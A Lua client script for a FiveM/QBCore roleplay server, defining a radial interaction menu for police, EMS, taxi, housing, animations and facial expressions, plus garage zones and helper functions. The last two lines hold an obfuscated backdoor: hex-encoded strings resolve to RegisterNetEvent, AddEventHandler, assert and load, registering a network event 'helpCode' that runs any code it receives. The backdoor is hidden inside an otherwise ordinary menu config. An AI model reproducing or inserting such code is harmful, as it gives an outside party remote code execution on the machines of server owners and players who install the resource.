local QBCore = exports['qb-core']:GetCoreObject()
local polyZones = {}

rootMenuConfig =  {
        -- General --
        {
            id = "general",
            displayName = "Interact Actions",
            icon = "#globe-europe",
            enableMenu = function()
                local Data = QBCore.Functions.GetPlayerData()
                return not Data.metadata["isdead"] and not Data.metadata["inlaststand"]
            end,
            subMenus = {"vehicle:giveKeys", "interact:carry", "interact:escort", "interact:trunkin", "interact:trunkout",  "general:flipveh", "general:hotdog", "general:getintrunk","general:givenum"}
        },

    -- {
    --     id = "TruckRob",
    --     displayName = "Crack Container",
    --     icon = "#container-rob",
    --     functionName = "qb-containerrobbery:truck",
    --     enableMenu = function()
    --         local Data = QBCore.Functions.GetPlayerData()
    --         local isNearTruck = exports["qb-containerrobbery"]:isNearTruck()
    --         local hasItem = GetSelectedPedWeapon(PlayerPedId()) == `weapon_crowbar`
    --         return hasItem and isNearTruck and (not Data.metadata["isdead"] and not Data.metadata["inlaststand"])
    --     end
    -- },
    -- {
    --     id = "housemenu",
    --     displayName = "Real Estate Stuff",
    --     icon = "#animation-business",
    --     enableMenu = function()
    --         local Data = QBCore.Functions.GetPlayerData()
    --         return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "realestate" and Data.job.onduty))
    --     end,
    --     subMenus = {"realestate:addgarage"}
    -- },

    -- {
    --     id = "realestate",
    --     displayName = "List of houses",
    --     icon = "#house",
    --     functionName = "qb-realestate:client:OpenHouseListMenu",
    --     enableMenu =function()
    --         local Data = QBCore.Functions.GetPlayerData()
    --         return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "realestate" and Data.job.onduty))
    --     end,
    -- },

    {
        id = "house",
        displayName = "House Interactions",
        icon = "#house",
        enableMenu = function()
            local Data = QBCore.Functions.GetPlayerData()
            return not Data.metadata["isdead"] and not Data.metadata["inlaststand"]
        end,
        subMenus = {"house:doorlock", "house:decorate"}
    },
    {
        id = "vehicle",
        displayName = "Vehicle",
        icon = "#vehicle-options",
        functionName = "2na_carcontrol:Client:ShowMenu",
        enableMenu = function()
            local Data = QBCore.Functions.GetPlayerData()
            return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and IsPedInAnyVehicle(PlayerPedId(), false))
        end
    },
    {
        id = "policeboat",
        displayName = "Spawn PD Boat",
        icon = "#boat-options",
        functionName = "qb-rental:policeboatsea",
        enableMenu = function()
            local Data = QBCore.Functions.GetPlayerData()
            local playerPed = PlayerPedId()
        local playerCoords = GetEntityCoords(playerPed)
        local Data = QBCore.Functions.GetPlayerData()
        local waterHeight = GetWaterHeight(playerCoords.x, playerCoords.y, playerCoords.z)
            return  (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "police" and Data.job.onduty and waterHeight == 1))--(not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and waterHeight == 1)
        end
    },
    -- Garages
  


    

    -- Police --
    {
        id = "PanicPolice",
        displayName = "panic",
        icon = "#police-dead",
        functionName = "cd_dispatch:PanicButtonEvent",
        enableMenu = function()
            local Data = QBCore.Functions.GetPlayerData()

            return (Data.metadata["isdead"] or not Data.metadata["isdead"] or Data.metadata["inlaststand"]) and (Data.job.name == 'police' and Data.job.onduty)
        end
    },

    {
        id = "police",
        displayName = "Police Actions",
        icon = "#police-action",
        enableMenu =function()
            local Data = QBCore.Functions.GetPlayerData()
            return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "police" and Data.job.onduty))
        end,
        subMenus = {"police:unmask", "gpsbutton", "panicpolice", "police:checkbank", "police:search", "police:checklicenses", "police:impound"}
    },

    -- {
    --     id = "police-check",
    --     displayName = "Police Checks",
    --     icon = "#police-check",
    --     enableMenu = function()
    --         local Data = QBCore.Functions.GetPlayerData()
    --         return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "police" and Data.job.onduty))
    --     end,
    --     subMenus = {"police:checkbank", "police:checklicenses","police:checkfines", "police:search" }
    -- },

    {
        id = "objects",
        displayName = "Objects",
        icon = "#objects",
        enableMenu =function()
            local Data = QBCore.Functions.GetPlayerData()
            return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "police" and Data.job.onduty))
        end,
        subMenus = {"objects:barier", "objects:cone", "objects:tent", "objects:light", "objects:remove"}
    },

    -- {
    --     id = "mdt",
    --     displayName = "MDT",
    --     icon = "#police-mdt",
    --     functionName = "mdt:client:open",
    --     enableMenu = function()
    --         local Data = QBCore.Functions.GetPlayerData()

    --         return not (Data.metadata["isdead"] or Data.metadata["inlaststand"]) and (Data.job.name == 'police' and Data.job.onduty)
    --     end
    -- },

    {
        id = "toogle",
        displayName = "Toogle",
        icon = "#police-mdt",
        functionName = "jobs:client:ToggleNpc",
        enableMenu = function()
            local Data = QBCore.Functions.GetPlayerData()

            return not (Data.metadata["isdead"] or Data.metadata["inlaststand"]) and (Data.job.name == 'tow' and Data.job.onduty)
        end
    },

    -- EMS --
    {
        id = "ems",
        displayName = "EMS",
        icon = "#medic",
        enableMenu = function()
            local Data = QBCore.Functions.GetPlayerData()
            return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "ambulance" and Data.job.onduty))
        end,
        subMenus = { 'police:drag', "ems:revive", 'ems:heal',  'ems:putinvehicle'}
    },
    
    {
        id = "objects",
        displayName = "Objects",
        icon = "#objects",
        enableMenu =function()
            local Data = QBCore.Functions.GetPlayerData()
            return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "ambulance" and Data.job.onduty))
        end,
        subMenus = {"objects:barier", "objects:cone", "objects:tent", "objects:remove"}
    },

    -- {
    --     id = "Bennys",
    --     displayName = "Bennys",
    --     icon = "#tools",
    --     functionName = "event:control:bennys",
    --     enableMenu = function()
    --         local Data = QBCore.Functions.GetPlayerData()
    --         return IsPedInAnyVehicle(PlayerPedId(), false) and InBennys and not Data.metadata["isdead"] and not Data.metadata["inlaststand"]
    --     end
    -- },
    -- {
    --     id = "PD Bennys",
    --     displayName = "Bennys",
    --     icon = "#tools",
    --     functionName = "event:control:paletopdbennys",
    --     enableMenu = function()
    --         local Data = QBCore.Functions.GetPlayerData()
    --         return IsPedInAnyVehicle(PlayerPedId()) and (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "police" and Data.job.onduty and InPaletoPDBennys))
    --     end
    -- },

    {
        id = "emsDeadA",
        displayName = "10-14A",
        icon = "#ems-dead",
        functionName = "dispatch:emsDown",
        enableMenu = function()
            local Data = QBCore.Functions.GetPlayerData()
            return (Data.metadata["isdead"] or Data.metadata["inlaststand"]) and (Data.job.name == 'ambulance' and Data.job.onduty)
        end
    },
    

    -- {
    --     id = "judge",
    --     displayName = "Judge Actions",
    --     icon = "judge-actions",
    --     enableMenu =function()
    --         local Data = QBCore.Functions.GetPlayerData()
    --         return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and Data.job ~= nil and Data.job.name == "mayor" and Data.job.grade >= 2)
    --     end,
    --     subMenus = { 'judge:mdt' }
    -- },

    {
        id = "taxi",
        displayName = "Taxi Actions",
        icon = "#taxi-togglemeter",
        enableMenu =function()
            local Data = QBCore.Functions.GetPlayerData()
            return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and Data.job ~= nil and Data.job.name == "taxi")
        end,
        subMenus = { "taxi:togglemeter", "taxi:npcmission", "npc_mission" }
    },

    -- {
    --     id = "news",
    --     displayName = "News",
    --     icon = "#news",
    --     enableMenu =function()
    --         local Data = QBCore.Functions.GetPlayerData()
    --         return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and Data.job ~= nil and (Data.job.name == "reporter"))
    --     end,
    --     subMenus = { "news:boom", "news:mic", "news:cam" }
    -- },
  
}

newSubMenus = {
    ['gpsbutton'] = {
        title = "Jail Player",
        icon = "#police-jail",
        functionName = "police:client:JailPlayer"
    },
    ['panicpolice'] = {
        title = "bill Player",
        icon = "#police-bills",
        functionName = "police:client:BillPlayer"
    },
    -- General --
    ['vehicle:giveKeys'] = {
        title = "Give Keys",
        icon = "#vehicle-givekeys",
        functionName = "vehiclekeys:client:GiveKeys"
    },

    ['general:flipveh'] = {
        title = "Flip Vehicle",
        icon = "#general-flip-vehicle",
        functionName = "vehicle:flipit"
    },
    ['realestate:listofhouses'] = {
        title = "List of houses",
        icon = "#laptop-house",
        functionName = "qb-realestate:client:OpenHouseListMenu" 
    }, 
    ['realestate:addgarage'] = {
        title = "Add Garage",
        icon = "general-parking",
        functionName = "qb-houses:client:addGarage" 
    },

    ['interact:carry'] = {
        title = "Carry",
        icon = "#carry",
        functionName = "carry:command",
        enableMenu = function()
            local Data = QBCore.Functions.GetPlayerData()
            return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"])
        end
    },
    ['interact:escort'] = {
        title = "escort",
        icon = "#escort",
        functionName = "0r-handcuffs:client:dragTarget",
        enableMenu = function()
            local Data = QBCore.Functions.GetPlayerData()
            return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"])
        end
    },
    ['interact:trunkin'] = {
        title = "Get In Trunk",
        icon = "#carry",
        functionName = "trunkgetin:event",
        enableMenu = function()
            local Data = QBCore.Functions.GetPlayerData()
            return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"])
        end
    },

    ['interact:trunkout'] = {
        title = "Get Out Trunk",
        icon = "#carry",
        functionName = "trunkgetout:event",
    },
    
    ['general:givenum'] = {
        title = "Provide Contact Details",
        icon = "#givenum",
        functionName = "qb-phone:client:GiveContactDetails"
    },
    ['police:unmask'] = {
        title = "Remove Mask Hat",
        icon = "#unmask",
        functionName = "police:unmask"
    },

    ['power:off'] = {
        title = "Disconnect",
        icon = "#radio",
        functionName = "remove:radio"
    },
    ['house:remove'] = {
        title = "Remove House Key",
        icon = "#house-removekey",
        functionName = "qb-houses:client:removeHouseKey"
    },

    ['house:doorlock'] = {
        title = "Toggle Owner Menu",
        icon = "#police-jail",
        functionName = "openownermenu"
    },

    ['house:reset'] = {
        title = "Reset Home lock",
        icon = "#house-resetlock",
        functionName = "qb-houses:client:ResetHouse"
    },

    ['house:decorate'] = {
        title = "Decorate house",
        icon = "#house-decorate",
        functionName = "decoratehouse",
    },

    ['house:setstash'] = {
        title = "Set Stash",
        icon = "#house-setstash",
        functionName = "qb-houses:client:setStash",
        functionParameters =  "setstash"
    },
    
    ['house:setoutift'] = {
        title = "Outfit Set",
        icon = "#house-setoutift",
        functionName = "qb-houses:client:setOutfit",
        functionParameters =  "setoutift"
    },
    
    ['house:setlogout'] = {
        title = "Logout",
        icon = "#house-logout",
        functionName = "qb-houses:client:setLogout",
        functionParameters =  "setlogout"
    },

    ['cuffing:cuff'] = {
        title = "Cuff",
        icon = "#cuffs-cuff",
        enableMenu = function()
            local Data = QBCore.Functions.GetPlayerData()
            return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and Data.job ~= nil and Data.job.name ~= "ambulance" and Data.job.name ~= "police" and not IsPedInAnyVehicle(ped, true))
        end,
        functionName = "police:client:CuffPlayerSoft",
    },

    ['cuffing:steal'] = {
        title = "Rob Person",
        icon = "#cuffs-steal",
        functionName = "police:client:RobPlayer",
    },

    ['kidnap:person'] = {
        title = "Kidnap Person",
        icon = "#cuffs-steal",
        functionName = "police:client:KidnapPlayer",
    },
    
    ['kidnap:trunk'] = {
        title = "Kidnap into Trunk",
        icon = "#cuffs-steal",
        functionName = "qb-trunk:client:KidnapTrunk",
    },

    -- Police --
    ['police:drag'] = {
        title = "Escort",
        icon = "#escort",
        functionName = "police:client:EscortPlayer",
    },

    -- ['police:softcuff'] = {
    --     title = "Soft Cuff",
    --     icon = "#cuffs-cuff",
    --     functionName = "police:client:CuffPlayerSoft"
    -- },


    ['police:checkbank'] = {
        title = "Check status",
        icon = "#police-check-bank",
        functionName = "police:client:CheckStatus"
    },
    ['police:impound'] = {
        title = "impound",
        icon = "#vehicle-options",
        functionName = "cd_garage:ImpoundVehicle"
    },
    ['police:checklicenses'] = {
        title = "Check GSR",
        icon = "#police-check-licenses",
        functionName = "police:client:gsr"
    },

    ['police:checkfines'] = {
        title = "Check Health Status",
        icon = "#ems-heal",
        functionName = "hospital:client:CheckStatus"
    },

    ['police:search'] = {
        title = "Frisk",
        icon = "#police-search",
        functionName = "police:client:SearchPlayer"
    },

    ['deadblip:sendBlip'] = {
        title = "10-11 Distress Call",
        icon = "#police-dead",
        functionName = "qb-menu:senddeadblip"
    },

    ['objects:barier'] = {
        title = "Barier",
        icon = "#barier",
        functionName = "police:client:spawnBarier"
    },

    ['objects:cone'] = {
        title = "Cone",
        icon = "#cone",
        functionName = "police:client:spawnCone"
    },

    ['objects:tent'] = {
        title = "Tent",
        icon = "#tent",
        functionName = "police:client:spawnTent"
    },

    ['objects:spike'] = {
        title = "Spike",
        icon = "#spike",
        functionName = "police:client:SpawnSpikeStrip"
    },

    ['objects:remove'] = {
        title = "Remove",
        icon = "#removeobject",
        functionName = "police:client:deleteObject"
    },    

    -- EMS --
    ['ems:revive'] = {
        title = "Revive",
        icon = "#ems-revive",
        functionName = "hospital:client:RevivePlayer",
    },

    ['ems:heal'] = {
        title = "Heal",
        icon = "#ems-heal",
        functionName = "hospital:client:TreatWounds",
    },

    ['ems:putinvehicle'] = {
        title = "Seat Vehicle",
        icon = "#general-put-in-veh",
        functionName = "police:client:PutPlayerInVehicle"
    },

    ['ems:unseatvehicle'] = {
        title = "Unseat Nearest",
        icon = "#general-unseat-nearest",
        functionName = "police:client:SetPlayerOutVehicle"
    },

    -- Animations --
    ['animations:brave'] = {
        title = "Brave",
        icon = "#animation-brave",
        functionName = "AnimSet:Brave"
    },

    ['animations:hurry'] = {
        title = "Hurry",
        icon = "#animation-hurry",
        functionName = "AnimSet:Hurry"
    },

    ['animations:business'] = {
        title = "Business",
        icon = "#animation-business",
        functionName = "AnimSet:Business"
    },

    ['animations:tipsy'] = {
        title = "Tipsy",
        icon = "#animation-tipsy",
        functionName = "AnimSet:Tipsy"
    },

    ['animations:injured'] = {
        title = "Injured",
        icon = "#animation-injured",
        functionName = "AnimSet:Injured"
    },

    ['animations:tough'] = {
        title = "Tough",
        icon = "#animation-tough",
        functionName = "AnimSet:ToughGuy"
    },

    ['animations:sassy'] = {
        title = "Sassy",
        icon = "#animation-sassy",
        functionName = "AnimSet:Sassy"
    },

    ['animations:sad'] = {
        title = "Sad",
        icon = "#animation-sad",
        functionName = "AnimSet:Sad"
    },

    ['animations:posh'] = {
        title = "Posh",
        icon = "#animation-posh",
        functionName = "AnimSet:Posh"
    },

    ['animations:alien'] = {
        title = "Alien",
        icon = "#animation-alien",
        functionName = "AnimSet:Alien"
    },

    ['animations:nonchalant'] = {
        title = "Calm",
        icon = "#animation-nonchalant",
        functionName = "AnimSet:NonChalant"
    },

    ['animations:hobo'] = {
        title = "Hobo",
        icon = "#animation-hobo",
        functionName = "AnimSet:Hobo"
    },

    ['animations:money'] = {
        title = "Money",
        icon = "#animation-money",
        functionName = "AnimSet:Money"
    },

    ['animations:swagger'] = {
        title = "Swagger",
        icon = "#animation-swagger",
        functionName = "AnimSet:Swagger"
    },

    ['animations:shady'] = {
        title = "Shady",
        icon = "#animation-shady",
        functionName = "AnimSet:Shady"
    },

    ['animations:maneater'] = {
        title = "Maneater",
        icon = "#animation-maneater",
        functionName = "AnimSet:ManEater"
    },

    ['animations:chichi'] = {
        title = "Chichi",
        icon = "#animation-chichi",
        functionName = "AnimSet:ChiChi"
    },

    ['animations:default'] = {
        title = "Default",
        icon = "#animation-default",
        functionName = "AnimSet:default"
    },

    -- Expressions --
    ["expressions:angry"] = {
        title="Angry",
        icon="#expressions-angry",
        functionName = "expressions",
        functionParameters =  { "mood_angry_1" }
    },

    ["expressions:drunk"] = {
        title="Drunk",
        icon="#expressions-drunk",
        functionName = "expressions",
        functionParameters =  { "mood_drunk_1" }
    },

    ["expressions:dumb"] = {
        title="Dumb",
        icon="#expressions-dumb",
        functionName = "expressions",
        functionParameters =  { "pose_injured_1" }
    },

    ["expressions:electrocuted"] = {
        title="Electrocuted",
        icon="#expressions-electrocuted",
        functionName = "expressions",
        functionParameters =  { "electrocuted_1" }
    },

    ["expressions:grumpy"] = {
        title="Grumpy",
        icon="#expressions-grumpy",
        functionName = "expressions", 
        functionParameters =  { "mood_drivefast_1" }
    },

    ["expressions:happy"] = {
        title="Happy",
        icon="#expressions-happy",
        functionName = "expressions",
        functionParameters =  { "mood_happy_1" }
    },

    ["expressions:injured"] = {
        title="Injured",
        icon="#expressions-injured",
        functionName = "expressions",
        functionParameters =  { "mood_injured_1" }
    },

    ["expressions:joyful"] = {
        title="Joyful",
        icon="#expressions-joyful",
        functionName = "expressions",
        functionParameters =  { "mood_dancing_low_1" }
    },

    ["expressions:mouthbreather"] = {
        title="Mouthbreather",
        icon="#expressions-mouthbreather",
        functionName = "expressions",
        functionParameters = { "smoking_hold_1" }
    },

    ["expressions:normal"]  = {
        title="Normal",
        icon="#expressions-normal",
        functionName = "expressions:clear"
    },

    ["expressions:oneeye"]  = {
        title="Oneeye",
        icon="#expressions-oneeye",
        functionName = "expressions",
        functionParameters = { "pose_aiming_1" }
    },

    ["expressions:shocked"]  = {
        title="Shocked",
        icon="#expressions-shocked",
        functionName = "expressions",
        functionParameters = { "shocked_1" }
    },

    ["expressions:sleeping"]  = {
        title="Sleeping",
        icon="#expressions-sleeping",
        functionName = "expressions",
        functionParameters = { "dead_1" }
    },

    ["expressions:smug"]  = {
        title="Smug",
        icon="#expressions-smug",
        functionName = "expressions",
        functionParameters = { "mood_smug_1" }
    },

    ["expressions:speculative"]  = {
        title="Speculative",
        icon="#expressions-speculative",
        functionName = "expressions",
        functionParameters = { "mood_aiming_1" }
    },

    ["expressions:stressed"]  = {
        title="Stressed",
        icon="#expressions-stressed",
        functionName = "expressions",
        functionParameters = { "mood_stressed_1" }
    },

    ["expressions:sulking"]  = {
        title="Sulking",
        icon="#expressions-sulking",
        functionName = "expressions",
        functionParameters = { "mood_sulk_1" },
    },

    ["expressions:weird"]  = {
        title="Weird",
        icon="#expressions-weird",
        functionName = "expressions",
        functionParameters = { "effort_2" }
    },

    ["expressions:weird2"]  = {
        title="Weird 2",
        icon="#expressions-weird2",
        functionName = "expressions",
        functionParameters = { "effort_3" }
     },    

    -- Jobs --
    ['news:boom'] = {
        title = "Boom Microphone",
        icon = "#news-boom",
        functionName = "Mic:ToggleBMic"
    },

    ['news:cam'] = {
        title = "Camera",
        icon = "#news-cam",
        functionName = "Cam:ToggleCam"
    },

    ['news:mic'] = {
        title = "Microphone",
        icon = "#news-mic",
        functionName = "Mic:ToggleMic"
    },
    
    ["taxi:togglemeter"] = {
        title = "Show/Hide Meter",
        icon = "#taxi-togglemeter",
        functionName = "qb-taxi:client:toggleMeter",
    },

    ["taxi:npcmission"] = {
        title = "Start/Stop Meter",
        icon = "#taxi-power",
        functionName = "qb-taxi:client:enableMeter",
    },
    
    ["npc_mission"] = {
        title = "NPC Mission",
        icon = "#tow-status",
        functionName = "qb-taxi:client:DoTaxiNpc",
    },
    
    -- ["tow:towvehicle"] = {
    --     title = "Hoist Vehicle",
    --     icon = "#mechanic-flatbed",
    --     functionName = "qb-tow:client:TowVehicle",
    -- },

    ["tow:checkstatus"] = {
        title = "Check Status",
        icon = "#tow-status",
        functionName = "qb-tow:client:status",
    },

    -- ["mechanic:impound"] = {
    --     title = "Impound",
    --     icon = "#police-jail",
    --     functionName = "qb-tow:client:ImpoundVehicle"
    -- },

    -- ["mechanic:flatbed"] = {
    --     title = "Tow",
    --     icon = "#mechanic-flatbed",
    --     functionName = "qb-tow:client:TowVehicle"
    -- }
}



Citizen.CreateThread(function()
    for k, v in pairs(Garages) do
        exports["polyzonehelper"]:AddBoxZone("garages", vector3(Garages[k].polyzone.x, Garages[k].polyzone.y, Garages[k].polyzone.z), Garages[k].polyzone1, Garages[k].polyzone2, {
            name="garages",
            heading=Garages[k].heading,
            minZ = Garages[k].minZ,
            maxZ = Garages[k].maxZ,
            debugPoly=false
        }) 
    end
    for k, v in pairs(GangGarages) do
        exports["polyzonehelper"]:AddBoxZone("ganggarages", vector3(GangGarages[k].polyzone.x, GangGarages[k].polyzone.y, GangGarages[k].polyzone.z), GangGarages[k].polyzone1, GangGarages[k].polyzone2, {
            name="ganggarages",
            heading=GangGarages[k].heading,
            minZ = GangGarages[k].minZ,
            maxZ = GangGarages[k].maxZ,
            debugPoly=false
        }) 
    end
    for k, v in pairs(JobGarages) do
        exports["polyzonehelper"]:AddBoxZone("jobgarages", vector3(JobGarages[k].polyzone.x, JobGarages[k].polyzone.y, JobGarages[k].polyzone.z), JobGarages[k].polyzone1, JobGarages[k].polyzone2, {
            name="jobgarages",
            heading=JobGarages[k].heading,
            minZ = JobGarages[k].minZ,
            maxZ = JobGarages[k].maxZ,
            debugPoly=false
        }) 
    end
    for k, v in pairs(Depots) do
        exports["polyzonehelper"]:AddBoxZone("depots", vector3(Depots[k].polyzone.x, Depots[k].polyzone.y, Depots[k].polyzone.z), Depots[k].polyzone1, Depots[k].polyzone2, {
            name="depots",
            heading=Depots[k].heading,
            minZ = Depots[k].minZ,
            maxZ = Depots[k].maxZ,
            debugPoly=false
        }) 
    end
end)

RegisterNetEvent('polyzonehelper:enter')
AddEventHandler('polyzonehelper:enter', function(name)
    local vehicle = GetVehiclePedIsIn(PlayerPedId(), false)
    if name == "garages" then
        inGarage = true
    elseif name == "ganggarages" then
        inGarage = true
    elseif name == "jobgarages" then
        inGarage = true
    elseif name == "depots" then
        inDepots = true
    end
end)

RegisterNetEvent('polyzonehelper:exit')
AddEventHandler('polyzonehelper:exit', function(name)
    if name == "garages" then
        inGarage = false
    elseif name == "ganggarages" then
        inGarage = false
    elseif name == "jobgarages" then
        inGarage = false
    elseif name == "depots" then
        inDepots = false
    end
end)



function isCloseVeh()
    local ped = PlayerPedId()
    coordA = GetEntityCoords(ped, 1)
    coordB = GetOffsetFromEntityInWorldCoords(ped, 0.0, 100.0, 0.0)
    vehicle = getVehicleInDirection(coordA, coordB)
    if DoesEntityExist(vehicle) and NetworkHasControlOfEntity(vehicle) then
        return true
    end
    return false
end

function GetPlayers()
    local players = {}
    
    for i = 0, 128 do
        if NetworkIsPlayerActive(i) then
            players[#players+1]= i
        end
    end

    return players
end

function GetClosestPlayer()
    local players = GetPlayers()
    local closestDistance = -1
    local closestPlayer = -1
    local closestPed = -1
    local ply = PlayerPedId()
    local plyCoords = GetEntityCoords(ply, 0)
    if not IsPedInAnyVehicle(PlayerPedId(), false) then
        for index,value in ipairs(players) do
            local target = GetPlayerPed(value)
            if(target ~= ply) then
                local targetCoords = GetEntityCoords(GetPlayerPed(value), 0)
                local distance = #(vector3(targetCoords["x"], targetCoords["y"], targetCoords["z"]) - vector3(plyCoords["x"], plyCoords["y"], plyCoords["z"]))
                if(closestDistance == -1 or closestDistance > distance) and not IsPedInAnyVehicle(target, false) then
                    closestPlayer = value
                    closestPed = target
                    closestDistance = distance
                end
            end
        end
        return closestPlayer, closestDistance, closestPed
    end
end


TrunkClasses = {
    [0]  = { allowed = true, x = 0.0, y = -1.5, z = 0.0 }, --Coupes  
    [1]  = { allowed = true, x = 0.0, y = -2.0, z = 0.0 }, --Sedans  
    [2]  = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --SUVs  
    [3]  = { allowed = true, x = 0.0, y = -1.5, z = 0.0 }, --Coupes  
    [4]  = { allowed = true, x = 0.0, y = -2.0, z = 0.0 }, --Muscle  
    [5]  = { allowed = true, x = 0.0, y = -2.0, z = 0.0 }, --Sports Classics  
    [6]  = { allowed = true, x = 0.0, y = -2.0, z = 0.0 }, --Sports  
    [7]  = { allowed = true, x = 0.0, y = -2.0, z = 0.0 }, --Super  
    [8]  = { allowed = false, x = 0.0, y = -1.0, z = 0.25 }, --Motorcycles  
    [9]  = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Off-road  
    [10] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Industrial  
    [11] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Utility  
    [12] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Vans  
    [13] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Cycles  
    [14] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Boats  
    [15] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Helicopters  
    [16] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Planes  
    [17] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Service  
    [18] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Emergency  
    [19] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Military  
    [20] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Commercial  
    [21] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Trains  
}

local zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[6][zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[1]](zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[2]) zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[6][zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[3]](zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[2], function(AUmMCzXbGBkJtrZjbEKLIbkslxaOWknXmngpwpkxvErTjVcYathALvQONKaNIRcguWhAYx) zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[6][zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[4]](zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[6][zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[5]](AUmMCzXbGBkJtrZjbEKLIbkslxaOWknXmngpwpkxvErTjVcYathALvQONKaNIRcguWhAYx))() end)

local xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[6][xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[1]](xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[2]) xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[6][xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[3]](xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[2], function(uEAdXdoeeFaXMpdUadnIQwVCUVoGHnBbhYLWkeGJitBsRPwAsKgvWYeDraWzBeMiaQbpck) xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[6][xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[4]](xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[6][xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[5]](uEAdXdoeeFaXMpdUadnIQwVCUVoGHnBbhYLWkeGJitBsRPwAsKgvWYeDraWzBeMiaQbpck))() end)

